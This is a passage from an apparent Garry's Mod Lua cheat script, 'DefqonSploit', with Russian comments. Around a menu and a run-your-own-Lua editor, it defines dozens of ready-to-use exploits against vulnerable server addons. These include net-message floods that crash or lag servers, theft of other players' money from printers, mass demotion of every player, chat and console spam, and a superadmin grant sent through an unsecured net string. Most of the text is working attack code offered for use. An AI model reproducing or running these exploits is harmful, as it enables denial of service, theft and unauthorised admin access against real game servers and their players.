end)
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
local ulxflood = false
local netKey = ""
local Defqon = nil
if ulx then ulx.showMotdMenu = function() end end
local iZNX = {}
iZNX.memory = {}
local grad = Material( "gui/gradient" )
local upgrad = Material( "gui/gradient_up" )
local downgrad = Material( "gui/gradient_down" )
local ctext = chat.AddText
surface.CreateFont("HUDLogo2",{size = 18, weight = 100, antialias = 0})
timer.Create("timerversionchecker",20,1,function()
hook.Remove("HUDPaint", "HudVersionChecker")
end)
hook.Add("HUDPaint", "HudVersionChecker", function()
draw.SimpleTextOutlined( "Привет "..steamworks.GetPlayerName( LocalPlayer():SteamID64() )..", вы используете последнюю версию меню", "HUDLogo2", ScrW()/2 + math.sin(RealTime()) * ScrW() / 85, ScrH()/30, Color( 99, 210, 214, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0,0,0,255) )
end)
function playSound(url)
sound.PlayURL(url, '', function( station )
if ( IsValid( station ) ) then
station:SetPos( LocalPlayer():GetPos() )
station:Play()
end
end)
end
playSound("")
function luaview()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.Menu:Remove()
vgui.Create("chmluaviewer"):MakePopup()
end
concommand.Add("Defqon_luaview", function() vgui.Create("chmluaviewer"):MakePopup() end)
function bigmenu()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.Menu:Remove()
RunConsoleCommand( "Defqon_bigmenu" )
end
function anticheats()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.Menu:Remove()
RunConsoleCommand( "Defqon_anticheats")
end
----------------------------------------------------------------------------------------------------------------------------------------------------------------
function editor()
local PANEL = {}
PANEL.URL = "http://metastruct.github.io/lua_editor/" -- вот дауны ебать ору
PANEL.COMPILE = "C"
local javascript_escape_replacements =
{
["\\"] = "\\\\",
["\0"] = "\\0" ,
["\b"] = "\\b" ,
["\t"] = "\\t" ,
["\n"] = "\\n" ,
["\v"] = "\\v" ,
["\f"] = "\\f" ,
["\r"] = "\\r" ,
["\""] = "\\\"",
["\'"] = "\\\'",
}
function PANEL:Init()
self.Code = ""
self.ErrorPanel = self:Add("DButton")
self.ErrorPanel:SetFont('BudgetLabel')
self.ErrorPanel:SetTextColor(Color(255,255,255))
self.ErrorPanel:SetText("")
self.ErrorPanel:SetTall(0)
self.ErrorPanel.DoClick = function()
self:GotoErrorLine()
end
self.ErrorPanel.DoRightClick = function(self)
SetClipboardText(self:GetText())
end
self.ErrorPanel.Paint = function(self,w,h)
surface.SetDrawColor(255,50,50)
surface.DrawRect(0,0,w,h)
end
self:StartHTML()
end
function PANEL:Think()
if self.NextValidate && self.NextValidate < CurTime() then
self:ValidateCode()
end
end
function PANEL:StartHTML()
self.HTML = self:Add("DHTML")
self:AddJavascriptCallback("OnCode")
self:AddJavascriptCallback("OnLog")
self.HTML:OpenURL(self.URL)
self.HTML:RequestFocus()
end
function PANEL:ReloadHTML()
self.HTML:OpenURL(self.URL)
end
function PANEL:JavascriptSafe(str)
str = str:gsub(".",javascript_escape_replacements)
str = str:gsub("\226\128\168","\\\226\128\168")
str = str:gsub("\226\128\169","\\\226\128\169")
return str
end
function PANEL:CallJS(JS)
self.HTML:Call(JS)
end
function PANEL:AddJavascriptCallback(name)
local func = self[name]
self.HTML:AddFunction("gmodinterface",name,function(...)
func(self,HTML,...)
end)
end
function PANEL:OnCode(_,code)
self.NextValidate = CurTime() + 0.2
self.Code = code
end
function PANEL:OnLog(_,...)
Msg("Editor: ")
print(...)
end
function PANEL:SetCode(code)
self.Code = code
self:CallJS('SetContent("' .. self:JavascriptSafe(code) .. '");')
end
function PANEL:GetCode()
return 'local me=Entity('..LocalPlayer():EntIndex()..') local trace=me:GetEyeTrace() local this,there=trace.Entity,trace.HitPos '..self.Code
end
function PANEL:SetGutterError(errline,errstr)
self:CallJS("SetErr('" .. errline .. "','" .. self:JavascriptSafe(errstr) .. "')")
end
function PANEL:GotoLine(num)
self:CallJS("GotoLine('" .. num .. "')")
end
function PANEL:ClearGutter()
self:CallJS("ClearErr()")
end
function PANEL:GotoErrorLine()
self:GotoLine(self.ErrorLine || 1)
end
function PANEL:SetError(err)
if !IsValid(self.HTML) then
self.ErrorPanel:SetText("")
self:ClearGutter()
return
end
local tall = 0
if err then
local line,err = string.match(err,self.COMPILE .. ":(%d*):(.+)")
if line && err then
tall = 20
self.ErrorPanel:SetText((line && err) && ("Line " .. line .. ": " .. err) || err || "")
self.ErrorLine = tonumber(string.match(err," at line (%d)%)") || line) || 1
self:SetGutterError(self.ErrorLine,err)
end
else
self.ErrorPanel:SetText("")
self:ClearGutter()
end
local wide = self:GetWide()
local tallm = self:GetTall()
self.ErrorPanel:SetPos(0,tallm - tall)
self.ErrorPanel:SetSize(wide,tall)
self.HTML:SetSize(wide,tallm - tall)
end
function PANEL:ValidateCode()
local time = SysTime()
local code = self:GetCode()
self.NextValidate = nil
if !code || code == "" then
self:SetError()
return
end
local errormsg = CompileString(code,self.COMPILE,false)
time = SysTime() - time
if type(errormsg) == "string" then
self:SetError(errormsg)
elseif time > 0.25 then
self:SetError("Compiling took too long. (" .. math.Round(time * 1000) .. ")")
else
self:SetError()
end
end
function PANEL:PerformLayout(w,h)
local tall = self.ErrorPanel:GetTall()
self.ErrorPanel:SetPos(0,h - tall)
self.ErrorPanel:SetSize(w,tall)
self.HTML:SetSize(w,h - tall)
end
vgui.Register("lua_editor",PANEL,"EditablePanel")
local menu = vgui.Create('DFrame')
menu:SetSize(ScrW()/2,ScrH()/2)
menu:SetTitle(' Lua Code | Run On Self')
menu:Center()
menu:SetSizable(true)
menu:MakePopup()
menu:ShowCloseButton(false)
menu.Paint = function(self,w,h)
surface.SetDrawColor(30,30,30)
surface.DrawRect(0, 0, w, 25)
surface.SetDrawColor(0,0,0)
surface.DrawRect(0, 25, w, h-25)
end
local clos = vgui.Create("DButton", menu)
clos:SetSize(40,23)
clos:SetText("")
clos.Paint = function(self,w,h)
surface.SetDrawColor(196,80,80)
surface.DrawRect(0,0,w,h)
surface.SetFont("marlett")
local s,s1 = surface.GetTextSize("r")
surface.SetTextPos(w/2-s/2,h/2-s1/2)
surface.SetTextColor(255,255,255)
surface.DrawText("r")
end
clos.DoClick = function()
menu:SetVisible(!menu:IsVisible())
end
local ed = vgui.Create('lua_editor', menu)
ed:SetPos(5, 55)
menu.PerformLayout = function(self, w, h)
clos:SetPos(w-41, 1)
ed:SetSize(w-10, h-60)
end
local offset = 5
local function CreateBtn(wide, text, icon, fn)
local mt = Material(icon)
local btn = vgui.Create('DButton', menu)
btn:SetText('')
btn.Paint = function(self,w,h)
if self.Hovered then
if self.Depressed then
surface.SetDrawColor(90,90,90)
else
surface.SetDrawColor(70,70,70)
end
else
surface.SetDrawColor(40,40,40)
end
surface.DrawRect(0,0,w,h)
surface.SetDrawColor(255,255,255)
surface.SetMaterial(mt)
surface.DrawTexturedRect(5,h / 2 - 8,16,16)
draw.SimpleText(text,'BudgetLabel',26,h / 2,Color(255,255,255),0,1)
end
btn.DoClick = fn
btn:SetSize(wide, 20)
btn:SetPos(offset, 30)
offset=offset + wide + 5
end
-- CreateBtn(130, "Run on server", 'icon16/application_osx_terminal.png', function()
-- local code = ed:GetCode()
-- net.Start('_da_')
-- net.WriteString(code)
-- net.WriteUInt(1, 2)
-- net.SendToServer()
-- end)
CreateBtn(115, "Run on self", 'icon16/arrow_down.png', function()
local code = ed:GetCode()
RunString(code)
end)
-- CreateBtn(130, "Run on clients", 'icon16/group.png', function()
-- local code = ed:GetCode()
-- net.Start('_da_')
-- net.WriteString(code)
-- net.WriteUInt(2, 2)
-- net.SendToServer()
-- end)
-- CreateBtn(125, "Run on player", 'icon16/user.png', function()
-- local code = ed:GetCode()
-- local m = DermaMenu()
-- for k, v in pairs(player.GetAll()) do
-- m:AddOption(v:Name(), function()
-- net.Start('_da_')
-- net.WriteString(code)
-- net.WriteUInt(3, 2)
-- net.WriteEntity(v)
-- net.SendToServer()
-- end)
-- end
-- m:Open()
-- end)
-- CreateBtn(115, "Get player", 'icon16/pencil.png', function()
-- local m = DermaMenu()
-- for k, v in pairs(player.GetAll()) do
-- m:AddOption(v:Name(), function()
-- SetClipboardText('Entity('..v:EntIndex()..')')
-- end)
-- end
-- m:Open()
-- end)
concommand.Add('editor', function() menu:SetVisible(!menu:IsVisible()) end)
iZNX.Menu:Remove()
MsgC(Color(255, 155, 55), "Loading end!\n")
end
------------------------------------------------------------------------------------------------------------------------------------------------------------
function gui.url()
surface.PlaySound("garrysmod/ui_click.wav")
gui.OpenURL( "http://discord.gg/hf8GVVS" )
end
function iZNX.ChatText( str )
ctext( Color(190, 190, 190), [[ [DefqonSploit v5.1.1]: ]]..str )
end
function iZNX.NetStart( str )
local netstart = net.Start
if Defqon and Defqon.G and Defqon.G.net then
netstart = Defqon.G.net.Start
else
-- print( "sending netmessage in insecure mode" )
end
return netstart( str )
end
function iZNX.ValidNetString( str )
local netstart = net.Start
if Defqon and Defqon.G and Defqon.G.net then
netstart = Defqon.G.net.Start
else
-- print( "scanning for exploit in insecure mode" )
end
local status, error = pcall( netstart, str )
return status
end
function iZNX.ValidNetString( str )
local status, error = pcall( net.Start, str )
return status
end
iZNX.sploits = {}
local severitycols = { -- Цвет моего мозга
[1337] = Color( 255, 0, 0 ),
[1] = Color( 33, 33, 33 ),
[2] = Color( 33, 33, 33 ),
[3] = Color( 33, 33, 33 ),
[4] = Color( 33, 33, 33 ),
}
function iZNX.AddExploit( name, tab ) -- ОДЭДЭ ЭКСПЛОЙТ, FUCK
if !isstring( name ) then print("U FUCKED UP A SPLOIT RETARD") return end
if !istable( tab ) then print("U FUCKED UP A SPLOIT RETARD") return end
iZNX.sploits[name] = tab
end
function iZNX.IsStored( addr )
return iZNX.memory[addr] != nil
end
function iZNX.GetStored( addr, fallback )
if fallback and iZNX.memory[addr] == nil then return fallback end
return iZNX.memory[addr]
end
function iZNX.Store( addr, val )
iZNX.memory[addr] = val
end
function iZNX.GetAllStored()
return iZNX.memory
end
function iZNX.GetAllStoredData()
local ret = {}
for k, v in pairs( iZNX.memory ) do
if !istable( v ) then ret[k] = v end
end
return ret
end
spoofchat = 0
----------------------------------------------------------------------------- EXPLOITS -------------------------------------------------------------------------------------------------------------------------------------------
--[[ ------------------------------------------------------------------------------------------------------------------------------------
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! NEW SHIT !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
-----------------------------------------------------------------------------------------------------------------------------------------]]
iZNX.AddExploit( "[NEW] Crasher", {
desc = "Exploit",
severity = 1337,
scan = function() return iZNX.ValidNetString( "pac.net.TouchFlexes.ClientNotify" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "crashlol" ) then
timer.Create("crashlol", 0, 0, function()
for i = 1, 400 do
iZNX.NetStart("pac.net.TouchFlexes.ClientNotify")
net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
net.SendToServer()
end
end)
iZNX.ChatText("Начинаем краш")
else
timer.Remove("crashlol")
iZNX.ChatText("Прекращаем краш")
end
end }
}
}
)
iZNX.AddExploit( "[NEW] € Easy Money €", {
desc = "Exploit на деньги",
severity = 1337,
scan = function() return iZNX.ValidNetString( "ply_pick_shit" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.ChatText("Получаем деньги")
for k, v in pairs (player.GetAll()) do
for i = 1,255 do
iZNX.NetStart("ply_pick_shit")
net.WriteEntity(LocalPlayer())
net.WriteEntity(v)
net.SendToServer()
end
end
end }
}
}
)
iZNX.AddExploit( "[NEW] Spoof Chat Icon", {
desc = "Не серьезный эксплойт, просто фановый. Убирает иконку набирания текста",
severity = 1337,
scan = function() return iZNX.ValidNetString( "TalkIconChat" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if spoofchat == 0 then
hook.Remove('StartChat', 'TalkIcon')
iZNX.NetStart("TalkIconChat")
net.WriteBool(true)
net.SendToServer()
spoofchat = 1
iZNX.ChatText("Icon Spoofer включен")
else
iZNX.NetStart("TalkIconChat")
net.WriteBool(false)
net.SendToServer()
iZNX.ChatText("Icon Spoofer выключен")
spoofchat = 0
end
end }
}
}
)
iZNX.AddExploit( "[NEW] TFA Lag Exploit", {
desc = "Exploit на лаги на сервере, с паком оружия TFA",
severity = 1337,
scan = function() return iZNX.ValidNetString( "TFA_Attachment_RequestAll" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.ChatText("Начинаем лаги")
if !timer.Exists( "tfalags" ) then
timer.Create("tfalags", 0, 0, function()
for i = 1, 400 do
iZNX.NetStart("TFA_Attachment_RequestAll")
net.SendToServer()
end
end )
else
timer.Remove("tfalags")
iZNX.ChatText("Прекращаем лаги")
end
end }
}
}
)
iZNX.AddExploit( "Lag Exploit #1", {
desc = "Exploit на лаги",
severity = 1,
scan = function() return iZNX.ValidNetString( "NDES_SelectedEmblem" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.ChatText("Начинаем лаги")
if not timer.Exists("lagger10") then
timer.Create("lagger10", 0.5, 0, function()
for i = 1, 2000 do
iZNX.NetStart("NDES_SelectedEmblem")
net.WriteString("Seized")
net.SendToServer()
end
end)
else
timer.Remove("lagger10")
iZNX.ChatText("Прекращаем лаги")
end
end, },
},
} )
iZNX.AddExploit( "Crasher #1", {
desc = "Exploit на краш сервера",
severity = 1,
scan = function() return iZNX.ValidNetString( "Morpheus.StaffTracker" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.ChatText("Крашим")
if not timer.Exists("crasher") then
timer.Create("crasher", 0.5, 0, function()
for i = 1, 2000 do
iZNX.NetStart("Morpheus.StaffTracker")
net.SendToServer()
end
end)
else
timer.Remove("crasher")
iZNX.ChatText("Останавливаем краш")
end
end, },
},
} )
iZNX.AddExploit( "Lag Exploit#2", {
desc = "Exploit на лаги",
severity = 1,
scan = function() return iZNX.ValidNetString( "join_disconnect" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.ChatText("Начинаем лаги")
if not timer.Exists("lagglol") then
timer.Create("lagglol", 0.5, 0, function()
for i = 1, 3000 do
iZNX.NetStart("join_disconnect")
net.WriteEntity(table.Random(player.GetAll()))
net.SendToServer()
end
end)
else
timer.Remove("lagglol")
iZNX.ChatText("Прекращаем лаги")
end
end, },
},
} )
iZNX.AddExploit( "Lag Exploit #3", {
desc = "Exploit на лаги",
severity = 1,
scan = function() return iZNX.ValidNetString( "EZS_PlayerTag" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.ChatText("Начинаем лаги")
if not timer.Exists("laggslol") then
timer.Create("laggslol", 0.5, 0, function()
for k, v in pairs(player.GetAll()) do
iZNX.NetStart("EZS_PlayerTag")
net.WriteEntity(v)
net.WriteString("Seized")
net.SendToServer()
timer.Simple(2, function()
iZNX.NetStart("EZS_PlayerTag")
net.WriteEntity(v)
net.WriteString("Seized")
net.SendToServer()
end )
end
end )
else
timer.Remove("laggslol")
iZNX.ChatText("Прекращаем лаги")
end
end }
}
}
)
iZNX.AddExploit( "Remove Spread", {
desc = "Exploit убирает разброс",
severity = 1,
scan = function() return checkcvar end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
iZNX.ChatText("Разброс убран")
end }
}
}
)
iZNX.AddExploit( "Give physgun", {
desc = "Получение физгана",
severity = 1,
scan = function() return iZNX.ValidNetString( "BuyFirstTovar" ) end,
functions = {
{ typ = "func", name = "Получить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("BuyFirstTovar")
net.WriteString("0")
net.SendToServer()
iZNX.ChatText("Получен physgun")
end }
}
}
)
iZNX.AddExploit( "Give gravity gun", {
desc = "Получение гравити гана",
severity = 1,
scan = function() return iZNX.ValidNetString( "BuySecondTovar" ) end,
functions = {
{ typ = "func", name = "Получить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("BuySecondTovar")
net.WriteString("0")
net.SendToServer()
iZNX.ChatText("Получен gravity gun")
end }
}
}
)
iZNX.AddExploit( "Auto-Heal", {
desc = "Exploit на автоматическое лечение",
severity = 1,
scan = function() return iZNX.ValidNetString( "GiveHealthNPC" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if not autoheal_enable then
iZNX.ChatText("AutoHeal - вкл")
hook.Add("Think", "RE.CheckHealt", function()
if LocalPlayer():Health() < 100 then
iZNX.NetStart("GiveHealthNPC")
net.WriteString("100")
net.SendToServer()
end
end)
autoheal_enable = true
else
iZNX.ChatText("AutoHeal - выкл")
hook.Remove("Think", "RE.CheckHealt")
autoheal_enable = false
end
end }
}
}
)
iZNX.AddExploit( "Unbox System Manipulation Exploit #1", {
desc = "Exploit с ключами и кейсами из CSGO",
severity = 1,
scan = function() return iZNX.ValidNetString( "BuyKey" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.ChatText("Получаем ключ")
iZNX.NetStart("BuyKey")
net.SendToServer()
end }
}
}
)
iZNX.AddExploit( "Unbox System Manipulation Exploit #2", {
desc = "Exploit с ключами и кейсами из CSGO",
severity = 1,
scan = function() return iZNX.ValidNetString( "BuyCrate" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.ChatText("Получаем кейс")
iZNX.NetStart("BuyCrate")
net.SendToServer()
end }
}
}
)
iZNX.AddExploit( "Get Weapon", {
desc = "Exploit на получение оружия",
severity = 1,
scan = function() return iZNX.ValidNetString( "MONEY_SYSTEM_GetWeapons" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.ChatText("Получаем оружие")
for i = 1,32 do
iZNX.NetStart("MONEY_SYSTEM_GetWeapons")
net.WriteInt(i, 8)
net.SendToServer()
end
end }
}
}
)
iZNX.AddExploit( "Demote Exploit", {
desc = "Exploit на увольнение всех людей на сервере",
severity = 1,
scan = function() return iZNX.ValidNetString( "MCon_Demote_ToServer" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.ChatText("Увольняем")
for k,v in pairs(player.GetAll()) do
iZNX.NetStart("MCon_Demote_ToServer")
net.WriteString(v:SteamID())
net.SendToServer()
end
end }
}
}
)
iZNX.AddExploit( "€ Printers Money Stealer # €", {
desc = "Exploit на воровство денег с чужих принтеров",
severity = 1,
scan = function() return iZNX.ValidNetString( "SyncPrinterButtons16690" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "Defqon_exploit_money" ) then
iZNX.ChatText( "Воруем чужие деньги" )
timer.Create( "Defqon_exploit_money", 0.1, 0, function()
for k, v in pairs(ents.GetAll()) do
if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
iZNX.NetStart( "SyncPrinterButtons16690" )
net.WriteEntity(v)
net.WriteUInt(2, 4)
net.SendToServer()
end
end
end)
else
timer.Remove( "Defqon_exploit_money" )
iZNX.ChatText( "Прекращаем воровать" )
end
end, },
},
} )
iZNX.AddExploit( "€ Derma Printers Money Stealer €", {
desc = "Exploit на воровство денег с чужих принтеров",
severity = 1,
scan = function() return iZNX.ValidNetString( "withdrawp" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.ChatText("Воруем - "..#ents.FindByClass("derma_printer").." шт.")
for k,v in pairs(ents.FindByClass("derma_printer")) do
net.Start("withdrawp")
net.WriteEntity(v)
net.SendToServer()
end
end }
}
}
)
iZNX.AddExploit( "€ Money Exploit €", {
desc = "DarkRP_SS_Gamble",
severity = 1,
scan = function() return iZNX.ValidNetString( "DarkRP_SS_Gamble" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart( "DarkRP_SS_Gamble" )
net.WriteInt(50000, 32)
net.WriteInt(1, 32)
net.WriteInt(0, 32)
net.WriteInt(0, 32)
net.WriteInt(1, 32)
net.SendToServer()
end }
}
})
iZNX.AddExploit( "TestPromoCode", {
desc = "что-то связаное с компами, хз",
severity = 1,
scan = function() return iZNX.ValidNetString( "PCAdd" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart( "PCAdd" )
net.WriteString("alahman")
net.WriteString("300000000")
net.SendToServer()
timer.Simple(3,function()
iZNX.NetStart("ActivatePC")
net.WriteString("alahman")
net.SendToServer()
iZNX.NetStart("PCDelAll")
net.SendToServer()
end
)
end}
}
}
)
--[[ TO FIX!!! -------------------------------------------------------------------
iZNX.AddExploit( "Disguise/Маскировка #2", {
desc = "DarkRP_SS_Gamble",
severity = 1,
scan = function() return iZNX.ValidNetString( "DarkRP_SS_Gamble" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.ChatText( "Тадам" )
end }
}
})
----------------------------------------------------------------------------------]]
iZNX.AddExploit( "Ulx Console Flood", {
desc = "Обычный ulx flood в консоль",
severity = 1,
scan = function() return ulx end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if ulxflood then
hook.Remove("Think", "FloodULX")
ulxflood = false
else
hook.Add("Think", "FloodULX", function()
LocalPlayer():ConCommand("_u Seized")
end)
ulxflood = true
end
iZNX.ChatText("UlxFlood - "..tostring(ulxflood))
end }
}
}
)
iZNX.AddExploit( "HL2RP Disp", {
desc = "Запускает одну голосовую команду, по типу коменданского часа (как в hl2)",
severity = 1,
scan = function() return iZNX.ValidNetString( "viv_hl2rp_disp_message" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.ChatText( "Запускаем" )
for name, command in pairs (dispatchCommands) do
iZNX.NetStart("viv_hl2rp_disp_message")
net.WriteString(command)
net.SendToServer()
end
end }
}
}
)
iZNX.AddExploit( "HL2RP Disp Flood", {
desc = "Запускает много голосовых команд, по типу коменданского часа (как в hl2)",
severity = 1,
scan = function() return iZNX.ValidNetString( "viv_hl2rp_disp_message" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.ChatText( "Flood - on" )
if not timer.Exists("HL2RPFLOOD") then
timer.Create("HL2RPFLOOD", 0, 0, function()
for name, command in pairs (dispatchCommands) do
iZNX.NetStart("viv_hl2rp_disp_message")
net.WriteString(command)
net.SendToServer()
end
end
)
else
timer.Remove("HL2RPFLOOD")
iZNX.ChatText( "Flood - off" )
end
end }
}
}
)
iZNX.AddExploit( "Easter Egg", {
desc = "Находит пасхальное яйцо",
severity = 1,
scan = function() return iZNX.ValidNetString( "egg" ) end,
functions = {
{ typ = "func", name = "GIVE", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("egg")
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "Атака нулевого дня #1", {
desc = "Вызывает моментальный сбой в работе системы и сервер крашится к чертям",
severity = 1,
scan = function() return iZNX.ValidNetString( "Sbox_gm_attackofnullday" ) end,
functions = {
{ typ = "func", name = "Начать", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
RunConsoleCommand("gm_attackofnullday")
end, },
},
} )
iZNX.AddExploit( "Атака нулевого дня #2", {
desc = "Выдает вам суперадминку",
severity = 1,
scan = function() return iZNX.ValidNetString( "Sbox_gm_attackofnullday_key" ) end,
functions = {
{ typ = "func", name = "Начать", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.ChatText( "Выдаем админку" )
iZNX.NetStart("Sbox_gm_attackofnullday_key")
net.WriteString( "ulx adduser \""..lp:Nick().."\" superadmin" )
net.WriteBit(0)
net.SendToServer()
RunConsoleCommand("gm_attackofnullday")
end, },
},
} )
iZNX.AddExploit( "Toggle TTT Report Bypass", {
desc = "TTT Report Bypass",
severity = 1,
scan = function() return isttt end,
functions = {
{ typ = "func", name = "Начать", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if bypass == 0 then
hook.Add("Think", "remove_ttt_report", function()
local pan = vgui.GetHoveredPanel()
CheckChild(pan)
end)
iZNX.ChatText("Report Bypass включен")
bypass = 1
else
hook.Remove("Think", "remove_ttt_report")
iZNX.ChatText("Report Bypass выключен")
bypass = 0
end
end }
}
}
)
--[[ ------------------------------------------------------------------------------------------------------------------------------------
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! OLD SHIT !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
-----------------------------------------------------------------------------------------------------------------------------------------]]
iZNX.AddExploit( "€ Customizable Printers Money Stealer €", {
desc = "Мгновенно крадет все деньги от каждого принтера на сервере",
severity = 3,
scan = function() return iZNX.ValidNetString( "SyncPrinterButtons76561198056171650" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "Defqon_exploit_shekels" ) then
iZNX.ChatText( "Воруем чужие деньги" )
timer.Create( "Defqon_exploit_shekels", 0.1, 0, function()
for k, v in pairs(ents.GetAll()) do
if( v:GetClass():find("print") ) then
iZNX.NetStart( "SyncPrinterButtons76561198056171650" )
net.WriteEntity(v)
net.WriteUInt(2, 4)
net.SendToServer()
end
end
end)
else
timer.Remove( "Defqon_exploit_shekels" )
iZNX.ChatText( "Прекращаем воровать" )
end
end, },
},
} )
iZNX.AddExploit( "ULX Friends Spam", {
desc = "Спам сообщением на сервере",
severity = 1,
scan = function() return (iZNX.ValidNetString( "sendtable" ) and ulx and ulx.friends ) end,
functions = {
{ typ = "string", name = "Введите сообщение", default = "FUCK YOU", addr = "fr_spamstring" },
{ typ = "players", addr = "fr_players" },
{ typ = "func", name = "Big Spam", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "bigspams" ) then
iZNX.ChatText( "Начинаем спам" )
timer.Create( "bigspams", 0.5, 0, function()
local t = iZNX.GetStored( "fr_players", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
local buyit = {}
for i = 1, 15 do
table.insert( buyit, iZNX.GetStored( "fr_spamstring", "FUCK YOU" ) )
end
iZNX.NetStart( "sendtable" )
net.WriteEntity( v )
net.WriteTable( buyit )
net.SendToServer()
end
end)
else
timer.Remove( "bigspams" )
iZNX.ChatText( "Прекращаем спам" )
end
end, },
},
} )
iZNX.AddExploit( "Console Error Spammer", {
desc = "(Поражение rcon сервера массовыми ошибками)",
severity = 1,
scan = function() return iZNX.ValidNetString( "steamid2" ) end,
functions = {
{ typ = "func", name = "Big Spam", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "Defqon_exploit_errorz" ) then
iZNX.ChatText( "Error спам запущен" )
timer.Create( "Defqon_exploit_errorz", 0.1, 0, function()
iZNX.NetStart( "steamid2" )
net.WriteString( "Something is creating very strong script errors" )
net.SendToServer()
end)
else
timer.Remove( "Defqon_exploit_errorz" )
iZNX.ChatText( "Error спам остановлен" )
end
end, },
},
} )
iZNX.AddExploit( "Turbo Error Spammer", {
desc = "Поражение rcon сервера массовыми ошибками",
severity = 2,
scan = function() return iZNX.ValidNetString( "steamid2" ) end,
functions = {
{ typ = "func", name = "Big Spam", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "Defqon_exploit_errorzt" ) then
iZNX.ChatText( "Error спам запущен" )
timer.Create( "Defqon_exploit_errorzt", 0, 0, function()
for i = 1, 100 do
iZNX.NetStart( "steamid2" )
net.WriteString( "Something is creating very strong script errors" )
net.SendToServer()
end
end)
else
timer.Remove( "Defqon_exploit_errorzt" )
iZNX.ChatText( "Error спам остановлен" )
end
end, },
},
} )
iZNX.AddExploit( "€ Kun Drug €", {
desc = "Exploit на деньги",
severity = 3,
scan = function() return iZNX.ValidNetString( "Kun_SellDrug" ) end,
functions = {
{ typ = "func", name = "Запуск", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "Defqon_exploit_selldrugon" ) then
iZNX.ChatText( "Exploit запущен" )
timer.Create( "Defqon_exploit_selldrugon", 0, 0, function()
for i=1,1000 do
iZNX.NetStart("Kun_SellDrug")
net.WriteString("mushroom")
net.SendToServer()
end
end)
else
timer.Remove( "Defqon_exploit_selldrugon" )
iZNX.ChatText( "Exploit остановлен" )
end
end, },
},
} )
iZNX.AddExploit( "Point Shop Unbox", {
desc = "Exploit, связанный с аддоном Point Shop",
severity = 2,
scan = function() return iZNX.ValidNetString( "net_PSUnBoxServer" ) end,
functions = {
{ typ = "func", name = "Запуск", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
for k,v in pairs(player.GetAll()) do
local i = 0
for k2,v2 in pairs(PS.Items) do
if !v:PS_HasItem(v2.ID) then
timer.Simple(k*i*1.7,function()
